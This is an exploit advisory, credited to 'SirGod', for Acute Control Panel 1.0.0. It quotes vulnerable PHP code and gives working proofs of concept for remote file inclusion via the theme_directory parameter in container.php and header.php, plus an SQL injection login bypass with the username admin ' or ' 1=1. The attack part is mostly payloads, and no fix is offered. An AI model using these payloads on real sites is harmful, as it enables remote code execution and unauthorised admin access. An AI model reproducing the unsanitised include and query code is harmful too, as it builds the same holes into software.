Acute Control Panel 1.0.0 RFI / SQL Injection

`###############################################################  
[+] Acute Control Panel 1.0.0 RFI/SQL Injection (Auth Bypass)  
[+] Discovered By SirGod  
[+] www.mortal-team.org  
[+] www.h4cky0u.org  
###############################################################  
  
[+] Remote File Inclusion  
  
Vulnerable code in container.php  
  
-----------------------------------------------------------  
<?php include_once($theme_directory."/sidebar.php"); ?>  
-----------------------------------------------------------  
  
PoC :  
  
http://127.0.0.1/themes/container.php?theme_directory=[Shell]%00  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
Vulnerable code in header.php  
  
--------------------------------------------------------------  
<?php include_once($theme_directory."/navigation.php"); ?>  
--------------------------------------------------------------  
  
PoC :  
  
http://127.0.0.1/themes/header.php?theme_directory=[Shell]%00  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
[+] SQL Injection (Auth Bypass)  
  
Vulnerable code in login.php  
  
--------------------------------------------  
$query = mysql_query("SELECT  
id,username,password,email,fullname,permissions FROM `users` WHERE  
username='$username' AND password='$password'", $conn) or  
die(mysql_error());  
--------------------------------------------  
  
PoC :  
  
Username : admin ' or ' 1=1  
Password : anything or nothing  
  
################################################################  
`